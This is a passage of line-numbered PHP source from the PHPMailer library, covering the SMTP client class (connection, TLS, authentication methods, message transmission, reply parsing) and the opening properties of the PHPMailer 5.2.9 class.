6840 * @type integer
6841 */
6842 public $Timelimit = 300;
6843
6844 /**
6845 * The socket for the server connection.
6846 * @type resource
6847 */
6848 protected $smtp_conn;
6849
6850 /**
6851 * Error message, if any, for the last call.
6852 * @type array
6853 */
6854 protected $error = array();
6855
6856 /**
6857 * The reply the server sent to us for HELO.
6858 * If null, no HELO string has yet been received.
6859 * @type string|null
6860 */
6861 protected $helo_rply = null;
6862
6863 /**
6864 * The set of SMTP extensions sent in reply to EHLO command.
6865 * Indexes of the array are extension names.
6866 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
6867 * represents the server name. In case of HELO it is the only element of the array.
6868 * Other values can be boolean TRUE or an array containing extension options.
6869 * If null, no HELO/EHLO string has yet been received.
6870 * @type array|null
6871 */
6872 protected $server_caps = null;
6873
6874 /**
6875 * The most recent reply received from the server.
6876 * @type string
6877 */
6878 protected $last_reply = '';
6879
6880 /**
6881 * Output debugging info via a user-selected method.
6882 * @see SMTP::$Debugoutput
6883 * @see SMTP::$do_debug
6884 * @param string $str Debug string to output
6885 * @param integer $level The debug level of this message; see DEBUG_* constants
6886 * @return void
6887 */
6888 protected function edebug($str, $level = 0)
6889 {
6890 if ($level > $this->do_debug) {
6891 return;
6892 }
6893 //Avoid clash with built-in function names
6894 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
6895 call_user_func($this->Debugoutput, $str, $this->do_debug);
6896 return;
6897 }
6898 switch ($this->Debugoutput) {
6899 case 'error_log':
6900 //Don't output, just log
6901 error_log($str);
6902 break;
6903 case 'html':
6904 //Cleans up output a bit for a better looking, HTML-safe output
6905 echo htmlentities(
6906 preg_replace('/[\r\n]+/', '', $str),
6907 ENT_QUOTES,
6908 'UTF-8'
6909 )
6910 . "<br>\n";
6911 break;
6912 case 'echo':
6913 default:
6914 //Normalize line breaks
6915 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
6916 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
6917 "\n",
6918 "\n \t ",
6919 trim($str)
6920 )."\n";
6921 }
6922 }
6923
6924 /**
6925 * Connect to an SMTP server.
6926 * @param string $host SMTP server IP or host name
6927 * @param integer $port The port number to connect to
6928 * @param integer $timeout How long to wait for the connection to open
6929 * @param array $options An array of options for stream_context_create()
6930 * @access public
6931 * @return boolean
6932 */
6933 public function connect($host, $port = null, $timeout = 30, $options = array())
6934 {
6935 static $streamok;
6936 //This is enabled by default since 5.0.0 but some providers disable it
6937 //Check this once and cache the result
6938 if (is_null($streamok)) {
6939 $streamok = function_exists('stream_socket_client');
6940 }
6941 // Clear errors to avoid confusion
6942 $this->error = array();
6943 // Make sure we are __not__ connected
6944 if ($this->connected()) {
6945 // Already connected, generate error
6946 $this->error = array('error' => 'Already connected to a server');
6947 return false;
6948 }
6949 if (empty($port)) {
6950 $port = self::DEFAULT_SMTP_PORT;
6951 }
6952 // Connect to the SMTP server
6953 $this->edebug(
6954 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
6955 self::DEBUG_CONNECTION
6956 );
6957 $errno = 0;
6958 $errstr = '';
6959 if ($streamok) {
6960 $socket_context = stream_context_create($options);
6961 //Suppress errors; connection failures are handled at a higher level
6962 $this->smtp_conn = @stream_socket_client(
6963 $host . ":" . $port,
6964 $errno,
6965 $errstr,
6966 $timeout,
6967 STREAM_CLIENT_CONNECT,
6968 $socket_context
6969 );
6970 } else {
6971 //Fall back to fsockopen which should work in more places, but is missing some features
6972 $this->edebug(
6973 "Connection: stream_socket_client not available, falling back to fsockopen",
6974 self::DEBUG_CONNECTION
6975 );
6976 $this->smtp_conn = fsockopen(
6977 $host,
6978 $port,
6979 $errno,
6980 $errstr,
6981 $timeout
6982 );
6983 }
6984 // Verify we connected properly
6985 if (!is_resource($this->smtp_conn)) {
6986 $this->error = array(
6987 'error' => 'Failed to connect to server',
6988 'errno' => $errno,
6989 'errstr' => $errstr
6990 );
6991 $this->edebug(
6992 'SMTP ERROR: ' . $this->error['error']
6993 . ": $errstr ($errno)",
6994 self::DEBUG_CLIENT
6995 );
6996 return false;
6997 }
6998 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
6999 // SMTP server can take longer to respond, give longer timeout for first read
7000 // Windows does not have support for this timeout function
7001 if (substr(PHP_OS, 0, 3) != 'WIN') {
7002 $max = ini_get('max_execution_time');
7003 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
7004 @set_time_limit($timeout);
7005 }
7006 stream_set_timeout($this->smtp_conn, $timeout, 0);
7007 }
7008 // Get any announcement
7009 $announce = $this->get_lines();
7010 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
7011 return true;
7012 }
7013
7014 /**
7015 * Initiate a TLS (encrypted) session.
7016 * @access public
7017 * @return boolean
7018 */
7019 public function startTLS()
7020 {
7021 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
7022 return false;
7023 }
7024 // Begin encrypted connection
7025 if (!stream_socket_enable_crypto(
7026 $this->smtp_conn,
7027 true,
7028 STREAM_CRYPTO_METHOD_TLS_CLIENT
7029 )) {
7030 return false;
7031 }
7032 return true;
7033 }
7034
7035 /**
7036 * Perform SMTP authentication.
7037 * Must be run after hello().
7038 * @see hello()
7039 * @param string $username The user name
7040 * @param string $password The password
7041 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
7042 * @param string $realm The auth realm for NTLM
7043 * @param string $workstation The auth workstation for NTLM
7044 * @access public
7045 * @return boolean True if successfully authenticated.
7046 */
7047 public function authenticate(
7048 $username,
7049 $password,
7050 $authtype = null,
7051 $realm = '',
7052 $workstation = ''
7053 ) {
7054 if (!$this->server_caps) {
7055 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
7056 return false;
7057 }
7058
7059 if (array_key_exists('EHLO', $this->server_caps)) {
7060 // SMTP extensions are available. Let's try to find a proper authentication method
7061
7062 if (!array_key_exists('AUTH', $this->server_caps)) {
7063 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
7064 // 'at this stage' means that auth may be allowed after the stage changes
7065 // e.g. after STARTTLS
7066 return false;
7067 }
7068
7069 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
7070 self::edebug(
7071 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
7072 self::DEBUG_LOWLEVEL
7073 );
7074
7075 if (empty($authtype)) {
7076 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
7077 if (in_array($method, $this->server_caps['AUTH'])) {
7078 $authtype = $method;
7079 break;
7080 }
7081 }
7082 if (empty($authtype)) {
7083 $this->error = array( 'error' => 'No supported authentication methods found' );
7084 return false;
7085 }
7086 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
7087 }
7088
7089 if (!in_array($authtype, $this->server_caps['AUTH'])) {
7090 $this->error = array( 'error' => 'The requested authentication method "'
7091 . $authtype . '" is not supported by the server' );
7092 return false;
7093 }
7094 } elseif (empty($authtype)) {
7095 $authtype = 'LOGIN';
7096 }
7097 switch ($authtype) {
7098 case 'PLAIN':
7099 // Start authentication
7100 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
7101 return false;
7102 }
7103 // Send encoded username and password
7104 if (!$this->sendCommand(
7105 'User & Password',
7106 base64_encode("\0" . $username . "\0" . $password),
7107 235
7108 )
7109 ) {
7110 return false;
7111 }
7112 break;
7113 case 'LOGIN':
7114 // Start authentication
7115 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
7116 return false;
7117 }
7118 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
7119 return false;
7120 }
7121 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
7122 return false;
7123 }
7124 break;
7125 case 'NTLM':
7126 /*
7127 * ntlm_sasl_client.php
7128 * Bundled with Permission
7129 *
7130 * How to telnet in windows:
7131 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
7132 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
7133 */
7134 require_once 'extras/ntlm_sasl_client.php';
7135 $temp = new stdClass();
7136 $ntlm_client = new ntlm_sasl_client_class;
7137 //Check that functions are available
7138 if (!$ntlm_client->Initialize($temp)) {
7139 $this->error = array('error' => $temp->error);
7140 $this->edebug(
7141 'You need to enable some modules in your php.ini file: '
7142 . $this->error['error'],
7143 self::DEBUG_CLIENT
7144 );
7145 return false;
7146 }
7147 //msg1
7148 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
7149
7150 if (!$this->sendCommand(
7151 'AUTH NTLM',
7152 'AUTH NTLM ' . base64_encode($msg1),
7153 334
7154 )
7155 ) {
7156 return false;
7157 }
7158 //Though 0 based, there is a white space after the 3 digit number
7159 //msg2
7160 $challenge = substr($this->last_reply, 3);
7161 $challenge = base64_decode($challenge);
7162 $ntlm_res = $ntlm_client->NTLMResponse(
7163 substr($challenge, 24, 8),
7164 $password
7165 );
7166 //msg3
7167 $msg3 = $ntlm_client->TypeMsg3(
7168 $ntlm_res,
7169 $username,
7170 $realm,
7171 $workstation
7172 );
7173 // send encoded username
7174 return $this->sendCommand('Username', base64_encode($msg3), 235);
7175 case 'CRAM-MD5':
7176 // Start authentication
7177 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
7178 return false;
7179 }
7180 // Get the challenge
7181 $challenge = base64_decode(substr($this->last_reply, 4));
7182
7183 // Build the response
7184 $response = $username . ' ' . $this->hmac($challenge, $password);
7185
7186 // send encoded credentials
7187 return $this->sendCommand('Username', base64_encode($response), 235);
7188 default:
7189 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
7190 return false;
7191 }
7192 return true;
7193 }
7194
7195 /**
7196 * Calculate an MD5 HMAC hash.
7197 * Works like hash_hmac('md5', $data, $key)
7198 * in case that function is not available
7199 * @param string $data The data to hash
7200 * @param string $key The key to hash with
7201 * @access protected
7202 * @return string
7203 */
7204 protected function hmac($data, $key)
7205 {
7206 if (function_exists('hash_hmac')) {
7207 return hash_hmac('md5', $data, $key);
7208 }
7209
7210 // The following borrowed from
7211 // http://php.net/manual/en/function.mhash.php#27225
7212
7213 // RFC 2104 HMAC implementation for php.
7214 // Creates an md5 HMAC.
7215 // Eliminates the need to install mhash to compute a HMAC
7216 // by Lance Rushing
7217
7218 $bytelen = 64; // byte length for md5
7219 if (strlen($key) > $bytelen) {
7220 $key = pack('H*', md5($key));
7221 }
7222 $key = str_pad($key, $bytelen, chr(0x00));
7223 $ipad = str_pad('', $bytelen, chr(0x36));
7224 $opad = str_pad('', $bytelen, chr(0x5c));
7225 $k_ipad = $key ^ $ipad;
7226 $k_opad = $key ^ $opad;
7227
7228 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
7229 }
7230
7231 /**
7232 * Check connection state.
7233 * @access public
7234 * @return boolean True if connected.
7235 */
7236 public function connected()
7237 {
7238 if (is_resource($this->smtp_conn)) {
7239 $sock_status = stream_get_meta_data($this->smtp_conn);
7240 if ($sock_status['eof']) {
7241 // The socket is valid but we are not connected
7242 $this->edebug(
7243 'SMTP NOTICE: EOF caught while checking if connected',
7244 self::DEBUG_CLIENT
7245 );
7246 $this->close();
7247 return false;
7248 }
7249 return true; // everything looks good
7250 }
7251 return false;
7252 }
7253
7254 /**
7255 * Close the socket and clean up the state of the class.
7256 * Don't use this function without first trying to use QUIT.
7257 * @see quit()
7258 * @access public
7259 * @return void
7260 */
7261 public function close()
7262 {
7263 $this->error = array();
7264 $this->server_caps = null;
7265 $this->helo_rply = null;
7266 if (is_resource($this->smtp_conn)) {
7267 // close the connection and cleanup
7268 fclose($this->smtp_conn);
7269 $this->smtp_conn = null; //Makes for cleaner serialization
7270 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
7271 }
7272 }
7273
7274 /**
7275 * Send an SMTP DATA command.
7276 * Issues a data command and sends the msg_data to the server,
7277 * finializing the mail transaction. $msg_data is the message
7278 * that is to be send with the headers. Each header needs to be
7279 * on a single line followed by a <CRLF> with the message headers
7280 * and the message body being separated by and additional <CRLF>.
7281 * Implements rfc 821: DATA <CRLF>
7282 * @param string $msg_data Message data to send
7283 * @access public
7284 * @return boolean
7285 */
7286 public function data($msg_data)
7287 {
7288 //This will use the standard timelimit
7289 if (!$this->sendCommand('DATA', 'DATA', 354)) {
7290 return false;
7291 }
7292
7293 /* The server is ready to accept data!
7294 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
7295 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
7296 * smaller lines to fit within the limit.
7297 * We will also look for lines that start with a '.' and prepend an additional '.'.
7298 * NOTE: this does not count towards line-length limit.
7299 */
7300
7301 // Normalize line breaks before exploding
7302 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
7303
7304 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
7305 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
7306 * process all lines before a blank line as headers.
7307 */
7308
7309 $field = substr($lines[0], 0, strpos($lines[0], ':'));
7310 $in_headers = false;
7311 if (!empty($field) && strpos($field, ' ') === false) {
7312 $in_headers = true;
7313 }
7314
7315 foreach ($lines as $line) {
7316 $lines_out = array();
7317 if ($in_headers and $line == '') {
7318 $in_headers = false;
7319 }
7320 //We need to break this line up into several smaller lines
7321 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
7322 while (isset($line[self::MAX_LINE_LENGTH])) {
7323 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
7324 //so as to avoid breaking in the middle of a word
7325 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
7326 if (!$pos) { //Deliberately matches both false and 0
7327 //No nice break found, add a hard break
7328 $pos = self::MAX_LINE_LENGTH - 1;
7329 $lines_out[] = substr($line, 0, $pos);
7330 $line = substr($line, $pos);
7331 } else {
7332 //Break at the found point
7333 $lines_out[] = substr($line, 0, $pos);
7334 //Move along by the amount we dealt with
7335 $line = substr($line, $pos + 1);
7336 }
7337 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
7338 if ($in_headers) {
7339 $line = "\t" . $line;
7340 }
7341 }
7342 $lines_out[] = $line;
7343
7344 //Send the lines to the server
7345 foreach ($lines_out as $line_out) {
7346 //RFC2821 section 4.5.2
7347 if (!empty($line_out) and $line_out[0] == '.') {
7348 $line_out = '.' . $line_out;
7349 }
7350 $this->client_send($line_out . self::CRLF);
7351 }
7352 }
7353
7354 //Message data has been sent, complete the command
7355 //Increase timelimit for end of DATA command
7356 $savetimelimit = $this->Timelimit;
7357 $this->Timelimit = $this->Timelimit * 2;
7358 $result = $this->sendCommand('DATA END', '.', 250);
7359 //Restore timelimit
7360 $this->Timelimit = $savetimelimit;
7361 return $result;
7362 }
7363
7364 /**
7365 * Send an SMTP HELO or EHLO command.
7366 * Used to identify the sending server to the receiving server.
7367 * This makes sure that client and server are in a known state.
7368 * Implements RFC 821: HELO <SP> <domain> <CRLF>
7369 * and RFC 2821 EHLO.
7370 * @param string $host The host name or IP to connect to
7371 * @access public
7372 * @return boolean
7373 */
7374 public function hello($host = '')
7375 {
7376 //Try extended hello first (RFC 2821)
7377 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
7378 }
7379
7380 /**
7381 * Send an SMTP HELO or EHLO command.
7382 * Low-level implementation used by hello()
7383 * @see hello()
7384 * @param string $hello The HELO string
7385 * @param string $host The hostname to say we are
7386 * @access protected
7387 * @return boolean
7388 */
7389 protected function sendHello($hello, $host)
7390 {
7391 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
7392 $this->helo_rply = $this->last_reply;
7393 if ($noerror) {
7394 $this->parseHelloFields($hello);
7395 } else {
7396 $this->server_caps = null;
7397 }
7398 return $noerror;
7399 }
7400
7401 /**
7402 * Parse a reply to HELO/EHLO command to discover server extensions.
7403 * In case of HELO, the only parameter that can be discovered is a server name.
7404 * @access protected
7405 * @param string $type - 'HELO' or 'EHLO'
7406 */
7407 protected function parseHelloFields($type)
7408 {
7409 $this->server_caps = array();
7410 $lines = explode("\n", $this->last_reply);
7411 foreach ($lines as $n => $s) {
7412 $s = trim(substr($s, 4));
7413 if (!$s) {
7414 continue;
7415 }
7416 $fields = explode(' ', $s);
7417 if ($fields) {
7418 if (!$n) {
7419 $name = $type;
7420 $fields = $fields[0];
7421 } else {
7422 $name = array_shift($fields);
7423 if ($name == 'SIZE') {
7424 $fields = ($fields) ? $fields[0] : 0;
7425 }
7426 }
7427 $this->server_caps[$name] = ($fields ? $fields : true);
7428 }
7429 }
7430 }
7431
7432 /**
7433 * Send an SMTP MAIL command.
7434 * Starts a mail transaction from the email address specified in
7435 * $from. Returns true if successful or false otherwise. If True
7436 * the mail transaction is started and then one or more recipient
7437 * commands may be called followed by a data command.
7438 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
7439 * @param string $from Source address of this message
7440 * @access public
7441 * @return boolean
7442 */
7443 public function mail($from)
7444 {
7445 $useVerp = ($this->do_verp ? ' XVERP' : '');
7446 return $this->sendCommand(
7447 'MAIL FROM',
7448 'MAIL FROM:<' . $from . '>' . $useVerp,
7449 250
7450 );
7451 }
7452
7453 /**
7454 * Send an SMTP QUIT command.
7455 * Closes the socket if there is no error or the $close_on_error argument is true.
7456 * Implements from rfc 821: QUIT <CRLF>
7457 * @param boolean $close_on_error Should the connection close if an error occurs?
7458 * @access public
7459 * @return boolean
7460 */
7461 public function quit($close_on_error = true)
7462 {
7463 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
7464 $err = $this->error; //Save any error
7465 if ($noerror or $close_on_error) {
7466 $this->close();
7467 $this->error = $err; //Restore any error from the quit command
7468 }
7469 return $noerror;
7470 }
7471
7472 /**
7473 * Send an SMTP RCPT command.
7474 * Sets the TO argument to $toaddr.
7475 * Returns true if the recipient was accepted false if it was rejected.
7476 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
7477 * @param string $toaddr The address the message is being sent to
7478 * @access public
7479 * @return boolean
7480 */
7481 public function recipient($toaddr)
7482 {
7483 return $this->sendCommand(
7484 'RCPT TO',
7485 'RCPT TO:<' . $toaddr . '>',
7486 array(250, 251)
7487 );
7488 }
7489
7490 /**
7491 * Send an SMTP RSET command.
7492 * Abort any transaction that is currently in progress.
7493 * Implements rfc 821: RSET <CRLF>
7494 * @access public
7495 * @return boolean True on success.
7496 */
7497 public function reset()
7498 {
7499 return $this->sendCommand('RSET', 'RSET', 250);
7500 }
7501
7502 /**
7503 * Send a command to an SMTP server and check its return code.
7504 * @param string $command The command name - not sent to the server
7505 * @param string $commandstring The actual command to send
7506 * @param integer|array $expect One or more expected integer success codes
7507 * @access protected
7508 * @return boolean True on success.
7509 */
7510 protected function sendCommand($command, $commandstring, $expect)
7511 {
7512 if (!$this->connected()) {
7513 $this->error = array(
7514 'error' => "Called $command without being connected"
7515 );
7516 return false;
7517 }
7518 $this->client_send($commandstring . self::CRLF);
7519
7520 $this->last_reply = $this->get_lines();
7521 // Fetch SMTP code and possible error code explanation
7522 $matches = array();
7523 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
7524 $code = $matches[1];
7525 $code_ex = (count($matches) > 2 ? $matches[2] : null);
7526 // Cut off error code from each response line
7527 $detail = preg_replace(
7528 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
7529 '',
7530 $this->last_reply
7531 );
7532 } else { // Fall back to simple parsing if regex fails
7533 $code = substr($this->last_reply, 0, 3);
7534 $code_ex = null;
7535 $detail = substr($this->last_reply, 4);
7536 }
7537
7538 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
7539
7540 if (!in_array($code, (array)$expect)) {
7541 $this->error = array(
7542 'error' => "$command command failed",
7543 'smtp_code' => $code,
7544 'smtp_code_ex' => $code_ex,
7545 'detail' => $detail
7546 );
7547 $this->edebug(
7548 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
7549 self::DEBUG_CLIENT
7550 );
7551 return false;
7552 }
7553
7554 $this->error = array();
7555 return true;
7556 }
7557
7558 /**
7559 * Send an SMTP SAML command.
7560 * Starts a mail transaction from the email address specified in $from.
7561 * Returns true if successful or false otherwise. If True
7562 * the mail transaction is started and then one or more recipient
7563 * commands may be called followed by a data command. This command
7564 * will send the message to the users terminal if they are logged
7565 * in and send them an email.
7566 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
7567 * @param string $from The address the message is from
7568 * @access public
7569 * @return boolean
7570 */
7571 public function sendAndMail($from)
7572 {
7573 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
7574 }
7575
7576 /**
7577 * Send an SMTP VRFY command.
7578 * @param string $name The name to verify
7579 * @access public
7580 * @return boolean
7581 */
7582 public function verify($name)
7583 {
7584 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
7585 }
7586
7587 /**
7588 * Send an SMTP NOOP command.
7589 * Used to keep keep-alives alive, doesn't actually do anything
7590 * @access public
7591 * @return boolean
7592 */
7593 public function noop()
7594 {
7595 return $this->sendCommand('NOOP', 'NOOP', 250);
7596 }
7597
7598 /**
7599 * Send an SMTP TURN command.
7600 * This is an optional command for SMTP that this class does not support.
7601 * This method is here to make the RFC821 Definition complete for this class
7602 * and _may_ be implemented in future
7603 * Implements from rfc 821: TURN <CRLF>
7604 * @access public
7605 * @return boolean
7606 */
7607 public function turn()
7608 {
7609 $this->error = array(
7610 'error' => 'The SMTP TURN command is not implemented'
7611 );
7612 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
7613 return false;
7614 }
7615
7616 /**
7617 * Send raw data to the server.
7618 * @param string $data The data to send
7619 * @access public
7620 * @return integer|boolean The number of bytes sent to the server or false on error
7621 */
7622 public function client_send($data)
7623 {
7624 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
7625 return fwrite($this->smtp_conn, $data);
7626 }
7627
7628 /**
7629 * Get the latest error.
7630 * @access public
7631 * @return array
7632 */
7633 public function getError()
7634 {
7635 return $this->error;
7636 }
7637
7638 /**
7639 * Get SMTP extensions available on the server
7640 * @access public
7641 * @return array|null
7642 */
7643 public function getServerExtList()
7644 {
7645 return $this->server_caps;
7646 }
7647
7648 /**
7649 * A multipurpose method
7650 * The method works in three ways, dependent on argument value and current state
7651 * 1. HELO/EHLO was not sent - returns null and set up $this->error
7652 * 2. HELO was sent
7653 * $name = 'HELO': returns server name
7654 * $name = 'EHLO': returns boolean false
7655 * $name = any string: returns null and set up $this->error
7656 * 3. EHLO was sent
7657 * $name = 'HELO'|'EHLO': returns server name
7658 * $name = any string: if extension $name exists, returns boolean True
7659 * or its options. Otherwise returns boolean False
7660 * In other words, one can use this method to detect 3 conditions:
7661 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
7662 * - false returned: the requested feature exactly not exists
7663 * - positive value returned: the requested feature exists
7664 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
7665 * @return mixed
7666 */
7667 public function getServerExt($name)
7668 {
7669 if (!$this->server_caps) {
7670 $this->error = array('No HELO/EHLO was sent');
7671 return null;
7672 }
7673
7674 // the tight logic knot ;)
7675 if (!array_key_exists($name, $this->server_caps)) {
7676 if ($name == 'HELO') {
7677 return $this->server_caps['EHLO'];
7678 }
7679 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
7680 return false;
7681 }
7682 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
7683 return null;
7684 }
7685
7686 return $this->server_caps[$name];
7687 }
7688
7689 /**
7690 * Get the last reply from the server.
7691 * @access public
7692 * @return string
7693 */
7694 public function getLastReply()
7695 {
7696 return $this->last_reply;
7697 }
7698
7699 /**
7700 * Read the SMTP server's response.
7701 * Either before eof or socket timeout occurs on the operation.
7702 * With SMTP we can tell if we have more lines to read if the
7703 * 4th character is '-' symbol. If it is a space then we don't
7704 * need to read anything else.
7705 * @access protected
7706 * @return string
7707 */
7708 protected function get_lines()
7709 {
7710 // If the connection is bad, give up straight away
7711 if (!is_resource($this->smtp_conn)) {
7712 return '';
7713 }
7714 $data = '';
7715 $endtime = 0;
7716 stream_set_timeout($this->smtp_conn, $this->Timeout);
7717 if ($this->Timelimit > 0) {
7718 $endtime = time() + $this->Timelimit;
7719 }
7720 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
7721 $str = @fgets($this->smtp_conn, 515);
7722 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
7723 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
7724 $data .= $str;
7725 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
7726 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
7727 if ((isset($str[3]) and $str[3] == ' ')) {
7728 break;
7729 }
7730 // Timed-out? Log and break
7731 $info = stream_get_meta_data($this->smtp_conn);
7732 if ($info['timed_out']) {
7733 $this->edebug(
7734 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
7735 self::DEBUG_LOWLEVEL
7736 );
7737 break;
7738 }
7739 // Now check if reads took too long
7740 if ($endtime and time() > $endtime) {
7741 $this->edebug(
7742 'SMTP -> get_lines(): timelimit reached ('.
7743 $this->Timelimit . ' sec)',
7744 self::DEBUG_LOWLEVEL
7745 );
7746 break;
7747 }
7748 }
7749 return $data;
7750 }
7751
7752 /**
7753 * Enable or disable VERP address generation.
7754 * @param boolean $enabled
7755 */
7756 public function setVerp($enabled = false)
7757 {
7758 $this->do_verp = $enabled;
7759 }
7760
7761 /**
7762 * Get VERP address generation mode.
7763 * @return boolean
7764 */
7765 public function getVerp()
7766 {
7767 return $this->do_verp;
7768 }
7769
7770 /**
7771 * Set debug output method.
7772 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
7773 */
7774 public function setDebugOutput($method = 'echo')
7775 {
7776 $this->Debugoutput = $method;
7777 }
7778
7779 /**
7780 * Get debug output method.
7781 * @return string
7782 */
7783 public function getDebugOutput()
7784 {
7785 return $this->Debugoutput;
7786 }
7787
7788 /**
7789 * Set debug output level.
7790 * @param integer $level
7791 */
7792 public function setDebugLevel($level = 0)
7793 {
7794 $this->do_debug = $level;
7795 }
7796
7797 /**
7798 * Get debug output level.
7799 * @return integer
7800 */
7801 public function getDebugLevel()
7802 {
7803 return $this->do_debug;
7804 }
7805
7806 /**
7807 * Set SMTP timeout.
7808 * @param integer $timeout
7809 */
7810 public function setTimeout($timeout = 0)
7811 {
7812 $this->Timeout = $timeout;
7813 }
7814
7815 /**
7816 * Get SMTP timeout.
7817 * @return integer
7818 */
7819 public function getTimeout()
7820 {
7821 return $this->Timeout;
7822 }
7823}
7824
7825?>
7826<?php
7827/**
7828 * PHPMailer - PHP email creation and transport class.
7829 * PHP Version 5
7830 * @package PHPMailer
7831 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
7832 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7833 * @author Jim Jagielski (jimjag) <m>
7834 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7835 * @author Brent R. Matzelle (original founder)
7836 * @copyright 2012 - 2014 Marcus Bointon
7837 * @copyright 2010 - 2012 Jim Jagielski
7838 * @copyright 2004 - 2009 Andy Prevost
7839 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
7840 * @note This program is distributed in the hope that it will be useful - WITHOUT
7841 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
7842 * FITNESS FOR A PARTICULAR PURPOSE.
7843 */
7844
7845/**
7846 * PHPMailer - PHP email creation and transport class.
7847 * @package PHPMailer
7848 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7849 * @author Jim Jagielski (jimjag) <>
7850 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7851 * @author Brent R. Matzelle (original founder)
7852 */
7853class PHPMailer
7854{
7855 /**
7856 * The PHPMailer Version number.
7857 * @type string
7858 */
7859 public $Version = '5.2.9';
7860
7861 /**
7862 * Email priority.
7863 * Options: 1 = High, 3 = Normal, 5 = low.
7864 * @type integer
7865 */
7866 public $Priority = 3;
7867
7868 /**
7869 * The character set of the message.
7870 * @type string
7871 */
7872 public $CharSet = 'iso-8859-1';
7873
7874 /**
7875 * The MIME Content-type of the message.
7876 * @type string
7877 */
7878 public $ContentType = 'text/plain';
7879
7880 /**
7881 * The message encoding.
7882 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
7883 * @type string
7884 */
7885 public $Encoding = '8bit';
7886
7887 /**
7888 * Holds the most recent mailer error message.
7889 * @type string
7890 */
7891 public $ErrorInfo = '';
7892
7893 /**
7894 * The From email address for the message.
7895 * @type string
7896 */
7897 public $From = 'root@localhost';
7898
7899 /**
7900 * The From name of the message.
7901 * @type string
7902 */
7903 public $FromName = 'Root User';
7904
7905 /**
7906 * The Sender email (Return-Path) of the message.
7907 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
7908 * @type string
7909 */
7910 public $Sender = '';
7911
7912 /**
7913 * The Return-Path of the message.
7914 * If empty, it will be set to either From or Sender.
7915 * @type string
7916 * @deprecated Email senders should never set a return-path header;
7917 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
